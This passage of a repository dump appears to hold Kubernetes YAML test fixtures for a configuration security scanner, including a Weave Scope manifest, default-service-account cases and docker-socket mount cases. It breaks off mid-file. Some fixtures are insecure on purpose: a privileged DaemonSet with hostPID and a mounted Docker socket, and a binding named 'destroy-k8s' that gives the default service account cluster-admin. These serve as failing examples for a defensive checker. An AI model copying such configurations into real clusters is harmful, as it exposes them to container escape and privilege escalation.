    "content": "apiVersion: v1\nkind: List\nitems:\n  - apiVersion: v1\n    kind: Namespace\n    metadata:\n      name: weave\n      annotations:\n        cloud.weave.works/version: v1.0.0-269-gffdc830\n  - apiVersion: v1\n    kind: ServiceAccount\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n      namespace: weave\n  - apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRole\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n    rules:\n      - apiGroups:\n          - ''\n        resources:\n          - pods\n        verbs:\n          - get\n          - list\n          - watch\n          - delete\n      - apiGroups:\n          - ''\n        resources:\n          - pods/log\n          - services\n          - nodes\n          - namespaces\n          - persistentvolumes\n          - persistentvolumeclaims\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - apps\n        resources:\n          - deployments\n          - daemonsets\n          - statefulsets\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - batch\n        resources:\n          - cronjobs\n          - jobs\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - extensions\n        resources:\n          - deployments\n          - daemonsets\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - apps\n        resources:\n          - deployments/scale\n        verbs:\n          - get\n          - update\n      - apiGroups:\n          - extensions\n        resources:\n          - deployments/scale\n        verbs:\n          - get\n          - update\n      - apiGroups:\n          - storage.k8s.io\n        resources:\n          - storageclasses\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - volumesnapshot.external-storage.k8s.io\n        resources:\n          - volumesnapshots\n          - volumesnapshotdatas\n        verbs:\n          - list\n          - watch\n  - apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRoleBinding\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n    roleRef:\n      kind: ClusterRole\n      name: weave-scope\n      apiGroup: rbac.authorization.k8s.io\n    subjects:\n      - kind: ServiceAccount\n        name: weave-scope\n        namespace: weave\n  - apiVersion: apps/v1\n    kind: Deployment\n    metadata:\n      name: weave-scope-app\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n      namespace: weave\n    spec:\n      replicas: 1\n      revisionHistoryLimit: 2\n      selector:\n        matchLabels:\n          name: weave-scope-app\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: app\n      template:\n        metadata:\n          labels:\n            name: weave-scope-app\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: app\n        spec:\n          containers:\n            - name: app\n              args:\n                - '--mode=app'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              ports:\n                - containerPort: 4040\n                  protocol: TCP\n  - apiVersion: v1\n    kind: Service\n    metadata:\n      name: weave-scope-app\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n      namespace: weave\n    spec:\n      ports:\n        - name: app\n          port: 80\n          protocol: TCP\n          targetPort: 4040\n      selector:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n  - apiVersion: apps/v1\n    kind: Deployment\n    metadata:\n      name: weave-scope-cluster-agent\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-cluster-agent\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: cluster-agent\n      namespace: weave\n    spec:\n      replicas: 1\n      revisionHistoryLimit: 2\n      selector:\n        matchLabels:\n          name: weave-scope-cluster-agent\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: cluster-agent\n      template:\n        metadata:\n          labels:\n            name: weave-scope-cluster-agent\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: cluster-agent\n        spec:\n          containers:\n            - name: scope-cluster-agent\n              args:\n                - '--mode=probe'\n                - '--probe-only'\n                - '--probe.kubernetes.role=cluster'\n                - '--probe.http.listen=:4041'\n                - '--probe.publish.interval=4500ms'\n                - '--probe.spy.interval=2s'\n                - 'weave-scope-app.weave.svc.cluster.local:80'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              ports:\n                - containerPort: 4041\n                  protocol: TCP\n              resources:\n                requests:\n                  cpu: 25m\n                  memory: 80Mi\n          serviceAccountName: weave-scope\n  - apiVersion: apps/v1\n    kind: DaemonSet\n    metadata:\n      name: weave-scope-agent\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-agent\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: agent\n      namespace: weave\n    spec:\n      minReadySeconds: 5\n      selector:\n        matchLabels:\n          name: weave-scope-agent\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: agent\n      template:\n        metadata:\n          labels:\n            name: weave-scope-agent\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: agent\n        spec:\n          containers:\n            - name: scope-agent\n              args:\n                - '--mode=probe'\n                - '--probe-only'\n                - '--probe.kubernetes.role=host'\n                - '--probe.publish.interval=4500ms'\n                - '--probe.spy.interval=2s'\n                - '--probe.docker.bridge=docker0'\n                - '--probe.docker=true'\n                - 'weave-scope-app.weave.svc.cluster.local:80'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              resources:\n                requests:\n                  cpu: 100m\n                  memory: 100Mi\n              securityContext:\n                privileged: true\n              volumeMounts:\n                - name: scope-plugins\n                  mountPath: /var/run/scope/plugins\n                - name: sys-kernel-debug\n                  mountPath: /sys/kernel/debug\n                - name: docker-socket\n                  mountPath: /var/run/docker.sock\n          dnsPolicy: ClusterFirstWithHostNet\n          hostNetwork: true\n          hostPID: true\n          tolerations:\n            - effect: NoSchedule\n              operator: Exists\n            - effect: NoExecute\n              operator: Exists\n          volumes:\n            - name: scope-plugins\n              hostPath:\n                path: /var/run/scope/plugins\n            - name: sys-kernel-debug\n              hostPath:\n                path: /sys/kernel/debug\n            - name: docker-socket\n              hostPath:\n                path: /var/run/docker.sock\n      updateStrategy:\n        type: RollingUpdate\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultServiceAccount/DefaultServiceAccount-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: awesomeness\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: default\n  namespace: awesomeness\nautomountServiceAccountToken: true"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultServiceAccount/DefaultServiceAccount-FAILED2.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: awesomeness\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: default\n  namespace: awesomeness"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultServiceAccount/DefaultServiceAccount-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: awesomeness\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: notdefault\n  namespace: awesomeness\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: default\n  namespace: awesomeness\nautomountServiceAccountToken: false\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultServiceAccountBinding/DefaultServiceAccountBinding-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: whoa\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  namespace: whoa\n  name: pod-reader\nrules:\n  - apiGroups: [\"\"] # \"\" indicates the core API group\n    resources: [\"pods\"]\n    verbs: [\"get\", \"watch\", \"list\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\n# This role binding allows the default service account to read pods in the \"whoa\" namespace.\nkind: RoleBinding\nmetadata:\n  name: read-pods\n  namespace: whoa\nsubjects:\n  - kind: ServiceAccount\n    name: default\n    namespace: whoa\nroleRef:\n  kind: Role\n  name: pod-reader\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows the default service account to be cluster-admin in any namespace.  Doh!\nkind: ClusterRoleBinding\nmetadata:\n  name: destroy-k8s\nsubjects:\n  - kind: ServiceAccount\n    name: default\n    namespace: whoa\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultServiceAccountBinding/DefaultServiceAccountBinding-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: whoa\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  namespace: whoa\n  name: pod-reader\nrules:\n  - apiGroups: [\"\"] # \"\" indicates the core API group\n    resources: [\"pods\"]\n    verbs: [\"get\", \"watch\", \"list\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\n# This role binding allows \"jane\" to read pods in the \"whoa\" namespace.\nkind: RoleBinding\nmetadata:\n  name: read-pods\n  namespace: whoa\nsubjects:\n  - kind: User\n    name: jane\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: pod-reader\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: supercool\n  namespace: whoa\n---\napiVersion: rbac.authorization.k8s.io/v1\n# This role binding allows the supercool service account to read pods in the \"whoa\" namespace.\nkind: RoleBinding\nmetadata:\n  name: read-pods2\n  namespace: whoa\nsubjects:\n  - kind: ServiceAccount\n    name: supercool\n    namespace: whoa\nroleRef:\n  kind: Role\n  name: pod-reader\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: read-secrets-global\nsubjects:\n  - kind: Group\n    name: manager # Name is case sensitive\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: secret-reader\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/checks/example_DockerSocketVolume/CronJob-pass.yaml",
    "content": "apiVersion: v1\nkind: CronJob\nmetadata:\n  labels:\n    name: nginx-pod\n  name: nginx-pod\nspec:\n  jobTemplate:\n    spec: null"
  },
  {
    "path": "tests/kubernetes/checks/example_DockerSocketVolume/cloudwatch-agent-1PASSED-1FAILED.yaml",
    "content": "---\napiVersion: v1\ndata:\n  # The below configuration file is in JSON format.\n  # Please ensure you keep it well-formed if you modify it.\n  cwagentconfig.json: |\n    {\n      \"logs\": {\n        \"metrics_collected\": {\n          \"kubernetes\": {\n            \"cluster_name\": \"eks1\",\n            \"metrics_collection_interval\": 60\n          }\n        },\n        \"force_flush_interval\": 5\n      }\n    }\nkind: ConfigMap\nmetadata:\n  name: cwagentconfig\n  namespace: amazon-cloudwatch\n---\napiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n  name: cloudwatch-agent\n  namespace: amazon-cloudwatch\nspec:\n  selector:\n    matchLabels:\n      name: cloudwatch-agent\n  template:\n    metadata:\n      labels:\n        name: cloudwatch-agent\n    spec:\n      containers:\n        - name: cloudwatch-agent\n          image: amazon/cloudwatch-agent:latest\n          imagePullPolicy: Always\n          #ports:\n          #  - containerPort: 8125\n          #    hostPort: 8125\n          #    protocol: UDP\n          resources:\n            limits:\n              cpu:  200m\n              memory: 200Mi\n            requests:\n              cpu: 200m\n              memory: 200Mi\n          # Please don't change below envs\n          env:\n            - name: HOST_IP\n              valueFrom:\n                fieldRef:\n                  fieldPath: status.hostIP\n            - name: HOST_NAME\n              valueFrom:\n                fieldRef:\n                  fieldPath: spec.nodeName\n            - name: K8S_NAMESPACE\n              valueFrom:\n                fieldRef:\n                  fieldPath: metadata.namespace\n          # Please don't change the mountPath\n          volumeMounts:\n            - name: cwagentconfig\n              mountPath: /etc/cwagentconfig\n            - name: rootfs\n              mountPath: /rootfs\n              readOnly: true\n            - name: dockersock\n              mountPath: /var/run/docker.sock\n              readOnly: true\n            - name: varlibdocker\n              mountPath: /var/lib/docker\n              readOnly: true\n            - name: sys\n              mountPath: /sys\n              readOnly: true\n            - name: devdisk\n              mountPath: /dev/disk\n              readOnly: true\n      volumes:\n        - name: cwagentconfig\n          configMap:\n            name: cwagentconfig\n        - name: rootfs\n          hostPath:\n            path: /\n        - name: dockersock\n          hostPath:\n            path: /var/run/docker.sock\n        - name: varlibdocker\n          hostPath:\n            path: /var/lib/docker\n        - name: sys\n          hostPath:\n            path: /sys\n        - name: devdisk\n          hostPath:\n            path: /dev/disk/\n      terminationGracePeriodSeconds: 60\n      serviceAccountName: cloudwatch-agent\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: cloudwatch-agent\n  namespace: amazon-cloudwatch\n\n---\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: cloudwatch-agent-role\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"pods\", \"nodes\", \"endpoints\"]\n    verbs: [\"list\", \"watch\"]\n  - apiGroups: [\"apps\"]\n    resources: [\"replicasets\"]\n    verbs: [\"list\", \"watch\"]\n  - apiGroups: [\"batch\"]\n    resources: [\"jobs\"]\n    verbs: [\"list\", \"watch\"]\n  - apiGroups: [\"\"]\n    resources: [\"nodes/proxy\"]\n    verbs: [\"get\"]\n  - apiGroups: [\"\"]\n    resources: [\"nodes/stats\", \"configmaps\", \"events\"]\n    verbs: [\"create\"]\n  - apiGroups: [\"\"]\n    resources: [\"configmaps\"]\n    resourceNames: [\"cwagent-clusterleader\"]\n    verbs: [\"get\",\"update\"]\n\n---\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: cloudwatch-agent-role-binding\nsubjects:\n  - kind: ServiceAccount\n    name: cloudwatch-agent\n    namespace: amazon-cloudwatch\nroleRef:\n  kind: ClusterRole\n  name: cloudwatch-agent-role\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: v1\ndata:\n  cluster.name: eks1\n  logs.region: us-west-2\n  # The below configuration file is in JSON format.\n  # Please ensure you keep it well-formed if you modify it.\n  cluster-info.json: |\n    {\n      \"cluster\": {\n        \"name\": \"eks1\"\n      },\n      \"logs\": {\n        \"region\": \"us-west-2\"\n      }\n    }\nkind: ConfigMap\nmetadata:\n  name: cluster-info\n  namespace: amazon-cloudwatch\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: fluentd-config\n  namespace: amazon-cloudwatch\n  labels:\n    k8s-app: fluentd-cloudwatch\ndata:\n  fluent.conf: |\n    @include containers.conf\n    @include systemd.conf\n    @include host.conf\n\n    <match fluent.**>\n      @type null\n    </match>\n  containers.conf: |\n    <source>\n      @type tail\n      @id in_tail_container_logs\n      @label @containers\n      path /var/log/containers/*.log\n      pos_file /var/log/fluentd-containers.log.pos\n      tag *\n      read_from_head true\n      <parse>\n        @type json\n        time_format %Y-%m-%dT%H:%M:%S.%NZ\n      </parse>\n    </source>\n\n    <label @containers>\n      <filter **>\n        @type kubernetes_metadata\n        @id filter_kube_metadata\n      </filter>\n\n      <filter **>\n        @type record_transformer\n        @id filter_containers_stream_transformer\n        <record>\n          stream_name ${tag_parts[3]}\n        </record>\n      </filter>\n\n      <match **>\n        @type cloudwatch_logs\n        @id out_cloudwatch_logs_containers\n        region \"#{ENV.fetch('REGION')}\"\n        log_group_name \"/aws/containerinsights/#{ENV.fetch('CLUSTER_NAME')}/application\"\n        log_stream_name_key stream_name\n        remove_log_stream_name_key true\n        auto_create_stream true\n        <buffer>\n          flush_interval 5\n          chunk_limit_size 2m\n          queued_chunks_limit_size 32\n          retry_forever true\n        </buffer>\n      </match>\n    </label>\n  systemd.conf: |\n    <source>\n      @type systemd\n      @id in_systemd_kubelet\n      @label @systemd\n      filters [{ \"_SYSTEMD_UNIT\": \"kubelet.service\" }]\n      <entry>\n        field_map {\"MESSAGE\": \"message\", \"_HOSTNAME\": \"hostname\", \"_SYSTEMD_UNIT\": \"systemd_unit\"}\n        field_map_strict true\n      </entry>\n      path /var/log/journal\n      pos_file /var/log/fluentd-journald-kubelet.pos\n      read_from_head true\n      tag kubelet.service\n    </source>\n\n    <source>\n      @type systemd\n      @id in_systemd_kubeproxy\n      @label @systemd\n      filters [{ \"_SYSTEMD_UNIT\": \"kubeproxy.service\" }]\n      <entry>\n        field_map {\"MESSAGE\": \"message\", \"_HOSTNAME\": \"hostname\", \"_SYSTEMD_UNIT\": \"systemd_unit\"}\n        field_map_strict true\n      </entry>\n      path /var/log/journal\n      pos_file /var/log/fluentd-journald-kubeproxy.pos\n      read_from_head true\n      tag kubeproxy.service\n    </source>\n\n    <source>\n      @type systemd\n      @id in_systemd_docker\n      @label @systemd\n      filters [{ \"_SYSTEMD_UNIT\": \"docker.service\" }]\n      <entry>\n        field_map {\"MESSAGE\": \"message\", \"_HOSTNAME\": \"hostname\", \"_SYSTEMD_UNIT\": \"systemd_unit\"}\n        field_map_strict true\n      </entry>\n      path /var/log/journal\n      pos_file /var/log/fluentd-journald-docker.pos\n      read_from_head true\n      tag docker.service\n    </source>\n\n    <label @systemd>\n      <filter **>\n        @type kubernetes_metadata\n        @id filter_kube_metadata_systemd\n      </filter>\n\n      <filter **>\n        @type record_transformer\n        @id filter_systemd_stream_transformer\n        <record>\n          stream_name ${tag}-${record[\"hostname\"]}\n        </record>\n      </filter>\n\n      <match **>\n        @type cloudwatch_logs\n        @id out_cloudwatch_logs_systemd\n        region \"#{ENV.fetch('REGION')}\"\n        log_group_name \"/aws/containerinsights/#{ENV.fetch('CLUSTER_NAME')}/dataplane\"\n        log_stream_name_key stream_name\n        auto_create_stream true\n        remove_log_stream_name_key true\n        <buffer>\n          flush_interval 5\n          chunk_limit_size 2m\n          queued_chunks_limit_size 32\n          retry_forever true\n        </buffer>\n      </match>\n    </label>\n  host.conf: |\n    <source>\n      @type tail\n      @id in_tail_dmesg\n      @label @hostlogs\n      path /var/log/dmesg\n      pos_file /var/log/dmesg.log.pos\n      tag host.dmesg\n      read_from_head true\n      <parse>\n        @type syslog\n      </parse>\n    </source>\n\n    <source>\n      @type tail\n      @id in_tail_secure\n      @label @hostlogs\n      path /var/log/secure\n      pos_file /var/log/secure.log.pos\n      tag host.secure\n      read_from_head true\n      <parse>\n        @type syslog\n      </parse>\n    </source>\n\n    <source>\n      @type tail\n      @id in_tail_messages\n      @label @hostlogs\n      path /var/log/messages\n      pos_file /var/log/messages.log.pos\n      tag host.messages\n      read_from_head true\n      <parse>\n        @type syslog\n      </parse>\n    </source>\n\n    <label @hostlogs>\n      <filter **>\n        @type 